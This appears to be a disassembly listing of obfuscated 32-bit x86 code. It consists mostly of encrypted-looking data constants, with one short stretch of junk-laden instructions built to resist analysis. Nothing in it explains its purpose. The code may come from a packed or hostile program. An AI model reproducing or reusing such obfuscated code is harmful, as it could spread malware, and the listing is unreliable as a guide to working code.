		dd 74895EC3h, 44810424h, 190424h, 56460000h, 690F83C3h
		dd 898DCB97h, 0EA2AB59Dh, 0FF006A05h, 0EA101595h, 0EBC08B05h
		dd 0E1286E1Fh, 8280D739h, 82BA68B0h, 3107F7B2h,	86355042h
		dd 0A9B8BE39h, 800B92D3h, 76532CB6h, 0B60B8D8Dh, 870F05F0h
		dd 6, 4D958Bh, 8D8905EAh, 5EA0ADDh, 830F52h, 5F000000h
		dd 0ACD85C7h, 5DAC05EAh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 61BC75C3h, 0C1958BBBh
		dd 0C705EA30h, 0EA25F585h, 5, 0D2BF0F00h, 0D95B5FFh, 6A05EAh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 33F409C3h, 1995FF0Dh, 6A05EA2Ah, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0D757C356h
		dd 0FF006ADEh, 0EA101595h, 0EBC08B05h, 1A3CB91Ch, 0A221F6Ch
		dd 17B7F108h, 41C16F48h, 18C82192h, 7D42EC05h, 3CBC1AECh
		dd 0FE80Fh, 0F2D60000h,	0EA53200Bh, 1BA9B049h, 97030C6Bh
		dd 0BE665FB5h, 0C781C774h, 689Dh, 0C8D0Fh, 880F0000h, 6
		dd 0A418509h, 0F0B805EAh, 810F4F48h, 4F2EF1E8h,	891F8B0Fh
		dd 0EA1E89B5h, 0C5C38105h, 0B60B9E7Ch, 1EEB8129h, 14DAC76h
		dd 0EA14259Dh, 0D2F38105h, 510EE301h, 1F895AF9h, 0D685B966h
		dd 6E36EF81h, 8B6630AEh, 32C781F7h, 8030AE6Eh, 0F4877CDh
		dd 1585h, 0D6816600h, 20E910EDh, 0B8000000h, 2B097EB1h
		dd 596F100Dh, 8B665129h, 0FF9FE9D6h, 4882FFFFh,	2581C390h
		dd 6E654F07h, 0E8A61853h, 8, 5D8C5BE5h,	0DEF3D29Ah, 8EDF8059h
		dd 6D94C181h, 28B00000h, 68h, 31BD8900h, 5E05EA2Dh, 16DD9D8Bh
		dd 34FF05EAh, 7E90Eh, 9F990000h, 4062446h, 14E85F73h, 0A0000000h
		dd 5B0AE789h, 0B9B18D1Bh, 0FC75F730h, 2E55EDC8h, 0B788082Bh
		dd 0C7815A59h, 6BBCA697h, 0AE8h, 54076400h, 6AF9C063h
		dd 0B25A6998h, 0EF8158DCh, 54809E00h, 1B719D89h, 0EF8105EAh
		dd 11E14A73h, 2B57AAB0h, 0EA20F185h, 31048F05h,	8E8h, 0B2538800h
		dd 9395D85Eh, 49858B26h, 5805EA01h, 1D4D858Bh, 0EE8105EAh
		dd 5C77BF02h, 0AC18D31h, 0C68105EAh, 5C77BEFEh,	0FE81EBB4h
		dd 0FFFF9330h, 0FF64850Fh, 8589FFFFh, 5EA1D79h,	0B8508D8Dh
		dd 958B05F0h, 5EA1E09h,	0ADD8D89h, 6A05EAh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 5B422AC3h
		dd 0EC1EF753h, 0BF0FB9ADh, 7E9FFh, 0F85E0000h, 926708A0h
		dd 4BBA6697h, 0CD85C76Bh, 3405EA0Ah, 6A00006Eh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0FD49C353h, 38C47AB3h, 0BA662F0Dh, 85C7AED8h, 5EA25F5h
		dd 0
		dd 0B5FFF8F8h, 5EA1189h, 2D7D958Bh, 95FF05EAh, 5EA2A19h
		dd 859D8B60h, 8905EA1Ah, 0EA208195h, 6A6105h, 101595FFh
		dd 0C08B05EAh, 25F778EBh, 6C98F7FDh, 1E5BDF95h,	76A3FBE8h
		dd 0AD938AB6h, 0EE38CF26h, 694F5B9Eh, 4BCC70D7h, 6C376753h
		dd 709718CAh, 1624960Ch, 5762FD1Eh, 718A5C75h, 9E4FFA57h
		dd 69AE62CAh, 85FA1500h, 9744C967h, 70EE92FCh, 0BB07BBDh
		dd 0FE5A596Eh, 443D2D32h, 8C4AE6BBh, 227D9062h,	15980630h
		dd 0D1E36502h, 697389C4h, 922452D3h, 38EEEA06h,	4882A807h
		dd 2581C390h, 4EB4F07h,	460C1DAAh, 5AEE9h, 9C43B500h, 18BD32C8h
		dd 9045B64Ch, 1EBB3EC4h, 9142B04Ah, 80E263C5h, 0FF5A152h
		dd 0BA4014C7h, 2BD1853Ah, 9A3F7A2h, 1F53299Bh, 2AA61D47h
		dd 2FE86D83h, 0CF630FAAh, 0B2E695C5h, 0FCA1D21Ch, 6514595Fh
		dd 1913A13Bh, 6C175667h, 13E4D9F4h, 7933516Fh, 0EA247ADAh
		dd 7418B469h, 0FD9CD1D7h, 0B18B39A3h, 417568Fh,	0C19F3F9Ch
		dd 0B814C70Fh, 44388AD4h, 0B7175690h, 458A8C2Fh, 7FD380F6h
		dd 0DCD37F13h, 16EE5CC6h, 69175690h, 0E41052F1h, 0C094D83h
		dd 0E1422ECFh, 97C36EE7h, 1C48EF6Dh, 6DC176E6h,	0E04CEF67h
		dd 0D9DE0EB0h, 4AB0E49Bh, 0E1085603h, 3949A8E2h, 0D272D129h
		dd 56B5D3A4h, 0B3216317h, 0E87DEAAh, 992E34h, 39770000h
		dd 71D285F7h, 0FF53FE77h, 5666B989h, 57067517h,	0D281F1FBh
		dd 0DA18127Eh, 0EFB19539h, 286A587Dh, 38C7B1BCh, 837340Eh
		dd 99000000h, 0DE722557h, 39B411B2h, 3C6B95D0h,	5CFF7053h
		dd 3E60155Ah, 7DDE7FF0h, 0FDA0D7DDh, 0B18B39A3h, 791756CCh
		dd 0A93146F5h, 0CD6F45F7h, 5AC21756h, 1E5359F9h, 0CAD0DF73h
		dd 0D4B00D23h, 27842974h, 2FA0F765h, 98BE55BCh,	0BFF7D30Dh
		dd 5714F3C9h, 0D4DE4617h, 0CC98F4A5h, 0D453BF36h, 71E77F36h
		dd 0EB257B17h, 7418B467h, 6DD68FD7h, 0E8E24EEDh, 9A9DD067h
		dd 600CA055h, 23D0060Ch, 69E9E34Fh, 0E96C66CAh,	6C114248h
		dd 0BE2E90C0h, 0B79379Fh, 0F9AD4E8Ch, 0CB03CD57h, 9EE88428h
		dd 175666A6h, 24228119h, 0A6AC00B1h, 44DE8035h,	3A96438Ah
		dd 674C2056h, 27BF1756h, 16582484h, 3ED99FE6h, 5D25340Eh
		dd 8B000000h, 68FA8162h, 4A8ADBC4h, 0FF5AF995h,	0A728ED6Dh
		dd 3C369AF6h, 0BDB21EBFh, 47645B7h, 79F90357h, 0FD7C76DAh
		dd 0C28CF05Ch, 79CB5192h, 17566783h, 85CD6EF6h,	340E3EE3h
		dd 4413h, 0FB73BD00h, 6D5EFB58h, 0F9104EEDh, 0AF02319h
		dd 0B515B652h, 369A3DBFh, 9B204C12h, 0A9F0A457h, 154BEA6Dh
		dd 47E497DBh, 669E91E7h, 16541756h, 38E99FE6h, 0A15340Eh
		dd 0BB000000h, 996E3052h, 0C764F1AEh, 4FEE6D62h, 0B564E9E3h
		dd 38DB1319h, 0BA579E94h, 3CDD1C16h, 0AACB3933h, 831844FAh
		dd 0F9AD50h, 4EE36DF9h,	5333A54Eh, 0BCD07C1Fh, 78E2BCD0h
		dd 0CD5C50E2h, 5AF1756h, 56CCBDB7h, 0C4A83017h,	0AA1A1D67h
		dd 0C76D12BCh, 6CA87F75h, 762BF211h, 711E593Eh,	0AAF498F4h
		dd 0B805F564h, 7FAD0320h, 99F55935h, 2DC49A3Ah,	0C90E26C2h
		dd 31A63914h, 0BC10C50Ah, 191FBCD0h, 8B7125D4h,	4D3B9742h
		dd 116C8F7Dh, 493C19Fh,	8E7420D1h, 0C06AA47h, 2C8428C9h
		dd 9C3DBC72h, 0BDFF5C30h, 1505484Fh, 0F3BADA17h, 0A3F79B62h
		dd 250E6117h, 150AD2Eh,	6EF40000h, 0AE1C421Bh, 12BC7439h
		dd 0F2F854CCh, 708ADE7Bh, 0FAF05CFDh, 0C26AC673h, 125B608Ch
		dd 0F1873367h, 162E2422h, 2D15AAFFh, 8F2CE68Eh,	88D6h
		dd 41B67800h, 6E9A3F9Ch, 77F30F27h, 0C6711CDAh,	570F8074h
		dd 76BF317h, 0F11EB59h,	0FC641757h, 0CE54CE90h,	9BC13027h
		dd 94E2C828h, 175677A0h, 77B4883Ah, 9F071756h, 0A9D370E8h
		dd 17567803h, 16EE5CF6h, 69175677h, 271DAFF1h, 9A175677h
		dd 0B4C26E02h, 175676C0h, 0F854094Eh, 72DE7BF2h, 0A6A9AD8h
		dd 98939C3Ah, 0A40E62F4h, 0E32276E6h, 3EE6540Ah, 3117570Ah
		dd 0BA53FDA9h, 0EF2961A0h, 0E5389BFAh, 96h, 421B6EBCh
		dd 455DAE1Ch, 89012BCh,	867ECC56h, 84116C43h, 49D1A657h
		dd 0FD144AEAh, 835810F1h, 2A2C8F54h, 0DE7FB7A3h, 0C2412A4Eh
		dd 45E98AC8h, 0BF114529h, 1887B156h, 9437205Bh,	0E0BE5B92h
		dd 9DF4C87Ah, 0DF47116Bh, 9BAADC7Ch, 79116B9Dh,	0C47BF937h
		dd 4DEE8BCEh, 97DEDD0Fh, 0CE00AEFAh, 6845E98Eh,	340B239Eh
		dd 11B2DE3Eh, 66380514h, 0BC4A99D4h, 5CF0680Ch,	0DE721F56h
		dd 0F4C4308Eh, 1C86D8A5h, 1A403486h, 2BB30B7Bh,	91B3F288h
		dd 1A8206CBh, 1B6E174Eh, 8FAE1C42h, 5712A6DEh, 88A55499h
		dd 32DB55EEh, 1C67C41Ch, 0AB222884h, 2DA05A0Eh,	0BD56208Ch
		dd 84EBA19h, 90C5D202h,	178B61D3h, 0FECD69h, 0E18D21D2h
		dd 0A053878Dh, 580C600Ch, 7FCF2BA2h, 510FDEECh,	0F33D630Fh
		dd 0DC7CDF7Ah, 0A8F6A3D6h, 58FDF141h, 0C96A20BEh, 4CEF6369h
		dd 0CB68EAE0h, 0F2626867h, 2C8037A5h, 0C27C2C40h, 47D00592h
		dd 0EDC06C0Fh, 21319A5Ah, 0E985E9CEh, 0A59F2DB7h, 18CD6954h
		dd 817B2380h, 0D001AD4Ch, 3, 6DA50889h,	929834EBh, 1812BE5Bh
		dd 9D973BDCh, 1C16BA59h, 9B913DDEh, 208A457h, 848E22CFh
		dd 0AA657h, 0E9822ECFh,	5E08950h, 4, 4BF57h, 0F8290000h
		dd 2404875Fh
		db 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		push	ecx
		mov	ecx, 1D7124F8h
		add	ecx, 811601Eh
		push	esi
		mov	esi, 20723DCEh
		xor	ecx, esi
		pop	esi
		mov	ebp, ecx
		pop	ecx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 8
		add	edx, ebx
		mov	[edx], ebp
		pop	edx
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5488E2
; ---------------------------------------------------------------------------
		db 60h,	0EDh, 0BDh
		dd 0BD42AC56h, 0A947E085h, 0B8DE8730h, 5F0BDD7h, 0E0FFC503h
		dd 24DFA94Fh, 6A2EBB7Dh, 0CE0C757h, 3BF3C816h, 4D4144FFh
		dd 5F7D9046h, 0BA84F04h, 6B41F633h, 71F7EF1Dh, 6B2A7E0Eh
		dd 70AB3390h, 2D4B00E9h, 3B7E88DCh, 45CA2568h, 6B025726h
		dd 25D9779Ch, 0DE8h, 0DE2BA00h,	7D3364E1h, 18AA5153h, 0B70FFC77h
		dd 0CA8B5ADFh, 5DA0C281h, 0C0330000h, 0ADC78166h, 1034FF9Dh
		dd 0F129BB66h, 0C681F85Eh, 72FA6348h, 0F8C0Fh, 0AE90000h
		dd 0F9000000h, 0B34E19E5h, 94C68E1Dh, 94C6814Bh, 5352C485h
		dd 85C68159h, 0F472AF0h, 0C8Ah,	68C0F00h, 81000000h, 595DD7F3h
		dd 234897Ch, 0CE950h, 86510000h, 0D089E31Dh, 75F652A5h
		dd 0B35BDBB5h, 0F0E8812Ch, 813D9D2Bh, 9D2BECC0h, 0B1F7813Dh
		dd 816FB5B9h, 0FFA324F8h, 14850FFFh, 8B000000h,	27E9FEh
		dd 582F0000h, 4FAF4E5Dh, 0FF16577Dh, 0F330446h,	38Fh, 0CA8B6600h
		dd 0FFFF64E9h, 0A75DF3FFh, 7F470679h, 9E744FB0h, 0CE801h
		dd 29450000h, 40BBFE75h, 0D4C5961Fh, 0BE9FFFBh,	0C2000000h
		dd 0D7C7A05Dh, 0D7F2CA0Eh, 665A5A13h, 0D665F381h, 5E7BC281h
		dd 8A0F0000h, 10h, 0BE9h, 0DE1CB100h, 77D8E0D0h, 1CD5383Ch
		dd 8E9C02Bh, 0E000000h,	9E50A51Eh, 0FF44D205h, 8B661034h
		dd 0B9665FD9h, 0C78121A6h, 3845B637h, 17EF81F9h, 0F660469h
		dd 0F781CABFh, 6A83D6C8h, 5AF624BBh, 23C8925h, 66F28B66h
		dd 0E883F18Bh, 0F18B6604h, 0A234F881h, 850FFFFFh, 0Ch
		dd 1EE9F38Bh, 0DE000000h, 4E8CD68Ch, 0A5EFBB66h, 0FFFFAAE9h
		dd 6DD392FFh, 7146120Dh, 2D2B69DBh, 5497CCDCh, 0AE8B3h
		dd 0D1D90000h, 0EABFF2E2h, 0A5EC56FDh, 0E85E19B7h, 12h
		dd 779E32C9h, 6BC8DAB2h, 33948E3Bh, 1E8942Dh, 830FC8D2h
		dd 1, 0C68159FCh, 59B5h, 1EBB66h, 9F1DDFBFh, 0A5EF8144h
		dd 81449F07h, 19A628D1h, 0F168B69h, 68Eh, 2AC18100h, 813F96E2h
		dd 0B3A088F2h, 6BC3812Bh, 812965B6h, 90B465C2h,	0EA81F852h
		dd 300AB9F1h, 7735EB81h, 0E952529Bh, 0Dh, 9017CF4Bh, 10F687D8h
		dd 6F1D5A7Eh, 8B068F0Ch, 3EE83D9h, 4E24EB80h, 4FCFBF0Fh
		dd 14850Fh, 8B660000h, 2DE9C2h,	67B00000h, 799AEA8Ah, 0F92DB6B3h
		dd 0DE9A55Dh, 0F8000000h, 391E3A2Ah, 66A23A66h,	3790FC5Dh
		dd 0FFFF80E9h, 529F45FFh, 3554C198h, 0EB662652h, 42347604h
		dd 4B9E906h, 18580000h,	86C93367h, 0FA7983D7h, 84F50F5Bh
		dd 0F77B81D5h, 37B61044h, 3C680B4Fh, 0B7E390C6h, 3C680F4Dh
		dd 0B6E28FC6h, 483C8E1Ch, 0BB1D4728h, 0F7399E37h, 117DD184h
		dd 9041B4B2h, 25C4363Ch, 67370DBFh, 128A1756h, 56679064h
		dd 177BE317h, 8B61D349h, 0FE175667h, 679DC566h,	871D43EEh
		dd 56673F35h, 0EF8ACF17h, 3A30098h, 0FA73C409h,	959FF35Fh
		dd 73DFB362h, 0EB47F679h, 397EEEE4h, 0AB5105B4h, 8C227629h
		dd 2F875C65h, 8625F195h, 0FDA35480h, 0BE1DC033h, 31E2141Eh
		dd 173CD9Dh, 0D1853ABAh, 5BF7A22Bh, 570F5A2Dh, 3AAAE817h
		dd 0C275E729h, 45F6646Eh, 36C28A29h, 4D340EE1h,	75558FA4h
		dd 0F77E5302h, 0FDA40765h, 50h,	49E86DA4h, 669F93E5h, 0E9AB1756h
		dd 3886727Bh, 33FD340Eh, 0DCB01CBFh, 1267Fh, 397F0000h
		dd 325597D0h, 0D1DBD033h, 5B5DFE9Dh, 0C7CD6114h, 1F41ED90h
		dd 0A3FD9CD1h, 56ED1B11h, 55F66E17h, 0DF731E53h, 0EDAADAD0h
		dd 659FCB6Ah, 4C1541F0h, 0E24EED6Dh, 368467E8h,	1756673Eh
		dd 0E94529B1h, 0DEDD0F41h, 51ABFF9Ch, 0DBD17D1Ch, 8F65D798h
		dd 0E2175667h, 6702FA48h, 0ED751756h, 3D41ED81h, 8A29AD63h
		dd 0ECF96B29h, 340E3F0Ch, 5C78h, 0ED6D2100h, 99F5A628h
		dd 19BC3F35h, 8437BFB5h, 0EAB2228h, 0ACD886A2h,	608C8689h
		dd 3064175Bh, 47EB88CAh, 0C16D0C4Dh, 7DD184CBh,	0BC310277h
		dd 0D7DD711Dh, 315DF1A4h, 16A5D799h, 275B37E4h,	0F6F2FB69h
		dd 6340E3Eh, 3Ah, 4EED6D5Fh, 0CB6CE8E2h, 0EF1D4367h, 0DD892AA8h
		dd 62D03984h, 8C6CEFDEh, 0A42B2D8Eh, 542B5DF1h,	0E2175744h
		dd 0DA3334A0h, 0E01729BEh, 4109AACDh, 340F25B7h, 1C7h
		dd 0EE6D9E00h, 64E9E34Fh, 0F74919B5h, 10C53685h, 0B624EA44h
		dd 56A3A605h, 7C63D18Fh, 0CF12BC44h, 7CF1FB57h,	0EAD21EFh
		dd 0C4B8CEA2h, 37116C41h, 6D97C3AFh, 0F3C97BE8h, 46116C41h
		dd 681EB2DEh, 116C429Ah, 1DB16294h, 9E32E517h, 18B46594h
		dd 3717B74h, 3CA8F6D2h,	0C271E52Bh, 42562E9Ch, 31A9116Ch
		dd 0B0619492h, 0CAD20EEh, 0C80DF7AFh, 889E7729h, 2AD0C18Dh
		dd 93CA173Ah, 5CC0BEFDh, 20555FFFh, 3B75DD71h, 0DE7BF2C9h
		dd 304A3E8Ah, 11BA2E24h, 0E3000001h, 1C421B6Eh,	0BC7439AEh
		dd 0F854CC12h, 8ADE7BF2h, 0B83AFD70h, 0B7DBB71Bh, 3AE27E9h
		dd 0C060C3AFh, 3EB083CAh, 315D319Dh, 826B359Dh,	2BF68D2Fh
		dd 3270D3E4h, 0D180F5C2h, 5C47668Fh, 0E7581716h, 0E0A81C44h
		dd 272E2346h, 0BFB564E9h, 5935993Ch, 51A3FAh, 6EFA0000h
		dd 0A2104E27h, 175666FAh, 0F7A42AE4h, 0BDB7055Bh, 30175665h
		dd 1C67C4A8h, 665E2884h, 4175666h, 0A5569856h, 84C66509h
		dd 68454058h, 65E08436h, 60FA1756h, 5664DAD2h, 16B52D17h
		dd 31ABF56Dh, 5664A983h, 27841C17h, 6A5E7Fh, 6E070000h
		dd 7B8241Bh, 3487356Bh,	4712BC45h, 16C636B9h, 5872A7B7h
		dd 0A8C46804h, 0EB6268C4h, 6DE01A4Eh, 0D73E60CCh, 0ECFCD7Ch
		dd 314BE88Bh, 116C2504h, 494EBEE0h, 0F8015504h,	388AD4B1h
		dd 0CBC655Ch, 515BF76Fh, 0DBD17D1Ch, 414BE792h,	91C16D0Ch
		dd 0C898BD2Fh, 7627A866h, 556597D5h, 95277944h,	6CBA3B7h
		dd 5F0652CAh, 1C421B6Eh, 0A6A7EEAEh, 78FF0112h,	0A66F45F7h
		dd 5AC21165h, 9AF69A36h, 2AB93C36h, 70FDA9C3h, 750314C7h
		dd 1165B27Fh, 52066AF2h, 2A7425A8h, 64C778E4h, 0DFE5B2C4h
		dd 0AAA00EF3h, 59F87D3Ah, 0DA4AA30Dh, 24C373DFh, 2ECD010Bh
		dd 0A5428B8Dh, 0B27A1D17h, 6408900Dh, 7C52D33Ah, 0CFE28FC2h
		dd 8C2FDDCFh, 6B3262Ch,	8031A0AAh, 0B5262Ch, 184406ACh
		dd 0D90BB5E5h, 0BAEE8BC2h, 0C06C0D40h, 311h, 0A5084800h
		dd 9834EB6Dh, 12BE5B92h, 973BDC18h, 16BA599Dh, 913DDE1Ch
		dd 8A4579Bh, 8E22CF02h,	0AA65784h, 822ECF00h, 110768E9h
		dd 4890000h, 8336824h, 14890000h, 0E2895224h, 4C281h, 0EA810000h
		dd 4, 5C241487h, 68242C89h, 0E9Fh, 0B9240C89h, 5F0C135h
		dd 6859CA89h, 2742h, 81242489h,	42404h,	535D0000h, 5D895B52h
		dd 2C8B5B08h, 0E6895624h, 4C681h, 0C6830000h, 24348704h
		dd 24148B5Ch, 81E68956h, 4C6h, 4C68300h, 5C243487h, 0F9B895E9h
		dd 929B0CFFh, 4D8DFFA3h, 0B804124Bh, 5F0C56Ch, 0E0FFC503h
		dd 392E62DEh, 14C41003h, 6A054B29h, 27A8BFABh, 69EA6933h
		dd 3226689Ah, 19D58F48h, 28EE8998h, 5BBB6B7h, 31CD9A64h
		dd 34E55CB9h, 70969ADh,	3FA4C4E4h, 7D0DCCA9h, 0A234AC42h
		dd 0A27C2406h, 3BB37D7Ah, 83DA309Fh, 83B42A21h,	6F302590h
		dd 863025C4h, 976D98A7h, 893020F8h, 86305A8Dh, 778DA684h
		dd 8635CF48h, 8642A12Eh, 3F62590h, 83DA3F0Dh, 7C674D6Ah
		dd 82B156BBh, 1EECCC2Dh, 0DB85DAB0h
		dd 0B35CF53h, 6B9F85A4h, 0DE0DA95h, 0C3B5E3B8h,	0C835CF3Eh
		dd 0C775D17Ah, 0A234A46Bh, 0C031B4C8h, 8CC190BDh, 3BD20CBh
		dd 83DD8A30h, 7EBBF5B7h, 8630359Dh, 8638CC12h, 89962509h
		dd 86302B01h, 4F3B6C42h, 79C0A02Eh, 8BD9DA6Fh, 0B302548h
		dd 6C7C04B9h, 86359D17h, 65CF2509h, 401F9809h, 0BBD20B2h
		dd 83C0E3CCh, 0B6153728h, 47FF0ECEh, 0A234AC42h, 0A27C2406h
		dd 3BB37D7Ah, 83DA309Fh, 83B42A21h, 6F302590h, 863025C4h
		dd 0E98398A7h, 0B9A4F305h, 22h,	0C7FD8D8Dh, 6E805F0h, 0B2000000h
		dd 0DC840794h, 15858BF5h, 5A05EA13h, 0E8C0Fh, 0E9500000h
		dd 7, 0D1A6C9C9h, 5B1A5711h, 0ADD8D89h,	0F28005EAh, 0AE999h
		dd 0EAC20000h, 5BDC0282h, 47D953E5h, 0ACD85C7h,	5D4405EAh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 8BEF59C3h, 0F585C7F0h, 5EA25h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0B83FC355h, 0F375FC30h, 19B5FF6Bh, 0E905EA1Ch
		dd 11h,	3B30CD79h, 565DB0DDh, 0CEFFCE8Ch, 0AF23B868h, 1995FF0Ah
		dd 6A05EA2Ah, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 0C63AC351h, 0A8FCD598h, 0AFCA81A1h
		dd 6A5426A6h, 1595FF00h, 8B05EA10h, 631FEBC0h, 0CA804F7Ch
		dd 82B7F6D4h, 0B19A328Dh, 11271CA8h, 5E3F64EDh,	39C177C3h
		dd 732B6777h, 4EBBB73h,	4DF3DD0h, 83AE9h, 680F4100h, 0EC91C63Ch
		dd 6C1142B8h, 0E28FC238h, 6D0E4CB6h, 641E9F39h,	0EB1145F6h
		dd 1EE4B063h, 976D39DEh, 4DE7B35Eh, 2F976DDFh, 66EA1D47h
		dd 82F739CFh, 0B4177BD7h, 5666F9CEh, 1DBC3117h,	0EC4C8D43h
		dd 0EDDC627Dh, 4B412D3Bh, 95F95508h, 82976E36h,	6057E5BBh
		dd 0FA12BC8Ah, 77DAD260h, 0B52D116Ch, 61936D16h, 127E12BEh
		dd 9546B4BEh, 25D405CBh, 9970DE86h, 4E33F298h, 0B218B110h
		dd 0CD098FA2h, 114442E1h, 8FC6CC60h, 0B8E64EE2h, 0FF5C0176h
		dd 5484FBDh, 0B01CC132h, 50E4B0DCh, 2E24ADA8h, 5DD4h, 0AD937A00h
		dd 0A2BF14BEh, 0AC00B725h, 0AA0FACC0h, 104EED6Dh, 5AF99EDEh
		dd 0D182F0FAh, 458BD57Dh, 84C66514h, 6C0F4358h,	3CFC8C38h
		dd 2B08340Eh, 51000000h, 0E24EED6Dh, 52FF72BCh,	66B48BF1h
		dd 0C561756h, 0E418FE0h, 2F9DC36Fh, 17566755h, 0FF5C30A8h
		dd 8EDA79F9h, 25AFh, 0ED6DF600h, 55BCE24Eh, 0F47A19EEh
		dd 0AA87EB47h, 363C5B94h, 0D7BB17C4h, 0E53C0E74h, 86D81756h
		dd 62114156h, 1B6E6F36h, 9BD21C42h, 950F5DFEh, 0CD61145Bh
		dd 577802A1h, 0EA12BC6Ah, 0A7D4DE72h, 0F166A8F6h, 67EAE04Ch
		dd 660A66CAh, 0F4679DC5h, 95E4ED41h, 0F125DA89h, 0CCA0471Ah
		dd 0F0E72092h, 0E41A0CD1h, 8F2EA178h, 4F234F23h, 0E497DF11h
		dd 27872448h, 1C9BC977h, 0AE603EDFh, 7C228E2Bh,	81D0F6CEh
		dd 0BDD1490Bh, 3FBC461Eh, 6044329Eh, 0E0B81D1h,	589B204Ch
		dd 6EA8F1A5h, 0CBE54C25h, 49E86D62h, 236A33E0h,	370E0545h
		dd 46B1h, 0F739E800h, 107CD083h, 846DB6B3h, 11A3392Dh
		dd 1756671Bh, 0B263906Eh, 9D2F7DDEh, 175666A7h,	0C172E41Ah
		dd 7CD083CBh, 39D57C10h, 4FEE6D54h, 39DDA0E6h, 88C122D0h
		dd 6804A849h, 995D7145h, 30E73Ah, 39BE0000h, 74D782F7h
		dd 0A36D3271h, 4E228E31h, 56674438h, 432FB717h,	0B18B39EAh
		dd 31175666h, 7BD782F7h, 305C0371h, 5439F55Ch, 0E64FEE6Dh
		dd 0E86DDDA0h, 9BD91749h, 872448E4h, 43B77927h,	0C9493390h
		dd 1752E8h, 1E80F31Ah, 0BC08DA0Bh, 682F5D1Fh, 978075E5h
		dd 0C85A260Bh, 0D260FAA4h, 1751E6DAh, 4E16B52Dh, 0CB9546B4h
		dd 0E709E351h, 0E47C1751h, 6DEDE747h, 84CA62CEh, 6C0F4358h
		dd 1A589638h, 0E692DA79h, 163409B8h, 4Bh, 11A3394Fh, 1756671Bh
		dd 5355F66Eh, 8DD37F1Ah, 0CB280C43h, 223B26D4h,	6F03AFC3h
		dd 0E5C0C9CCh, 69DE09BBh, 49D112BCh, 6AF0EAE5h,	6C56E4D8h
		dd 6CCF5711h, 44ADBE2Eh, 7E6AB9C7h, 0E3A7D7ECh,	24F67A57h
		dd 32BBBD1Eh, 6D8AD387h, 0ECE549E8h, 509EC09Dh,	0BDD17D1Eh
		dd 3DFE4C1Eh, 3012BC6Bh, 0BC38F6A8h, 0B9E0B81Bh, 0E54C256Eh
		dd 417C95CBh, 0FED9C8D3h, 6D379231h, 33E049E8h,	545236Ah
		dd 20BA370Eh, 56669A92h, 7E76C414h, 0F1145666h,	25861E69h
		dd 237Ch, 256E2500h, 8B39E54Ch,	175666B1h, 0CF6AE32Dh
		dd 0D7AC0F63h, 5439E64Fh, 0E64FEE6Dh, 2DB6DDA0h, 0EF000000h
		dd 124C256Eh, 53FFA0DCh, 39399C3Fh, 5666B18Bh, 6AE32D17h
		dd 1A7625A9h, 66FEF644h, 0E9711756h, 0DA4044Ah,	0EE6D5439h
		dd 0DDA0E64Fh, 0E549E86Dh, 570675BBh, 4E3497FBh, 1752E8CCh
		dd 0A4D71903h, 0D2F7DCF1h, 0D8A055Ah, 6F80ECAEh, 208C33A1h
		dd 64E9EF4Ch, 0D71BE1B5h, 50828824h, 0E9A70FA3h, 1DBE3C7Bh
		dd 0AA29E749h, 68CBA70Bh, 9FC5820h, 35A434h, 6DFD0000h
		dd 0BBE549E8h, 66999321h, 74EC1756h, 0CCC7D2D7h, 5666867Eh
		dd 0D61F917h, 817BC953h, 0F4175666h, 2F9DCF6Ch,	12BC44DCh
		dd 0D4DB77EFh, 64E9AEDEh, 6DB8E1B5h, 0D91749E8h, 4248E49Bh
		dd 0AFC36F0Ch, 0C9C060C3h, 21BBE5C0h, 63896BEFh, 9E1F4E3Dh
		dd 533F93FFh, 38318AF0h, 1C8412BDh, 50FE648h, 8C14946Fh
		dd 6EE247E4h, 0CBE54C25h, 49E86D62h, 6A8CFE17h,	37A35B0Dh
		dd 6A333194h, 0D285F739h, 0F9B1127Eh, 370E04FFh, 3E0Fh
		dd 0E76FA100h, 57F49834h, 7FF739F2h, 9C2E70DCh,	175666A8h
		dd 0E5EF831Bh, 66AC675h, 8E63A0A5h, 0B18B3927h,	4175666h
		dd 0F739359Ch, 137FD37Eh, 6D8FE2B0h, 0A0E64FEEh, 2DB6DDh
		dd 6EEF0000h, 39E54C25h, 5666B18Bh, 0A4C42D17h,	640A7550h
		dd 0FD5D13B0h, 4AA33954h, 82C12A68h, 0ED6268FFh, 2B88E448h
		dd 4FEE6D8Eh, 6DDDA0E6h, 0F3C97BE8h, 46175666h,	681EB2DEh
		dd 1752E8EAh, 7679EBE1h, 0C49A3BB8h, 51E67E76h,	0CA69F117h
		dd 0BCE889CCh, 0CE620F46h, 0B5EBB2C7h, 0B7EA2C07h, 53079F12h
		dd 7FF7390Ah, 0BF1C70DCh, 399079BAh, 0D184F739h, 12B2117Dh
		dd 0F6D039BBh, 9E735302h, 0B73E389Bh, 9D33B31Ah, 0DA791C53h
		dd 545237Fh, 21B1370Eh,	0E8000000h, 0A32A256Eh,	5A365AF6h
		dd 0B18B39F3h, 4175666h, 5439359Ch, 0E64FEE6Dh,	3BB6DDA0h
		dd 0EF000000h, 0DC7FF739h, 0BABF1C70h, 0D683F679h, 0D37A167Ah
		dd 0E86DA339h, 2A89E549h, 56675C50h, 933A9A17h,	0EE6D5439h
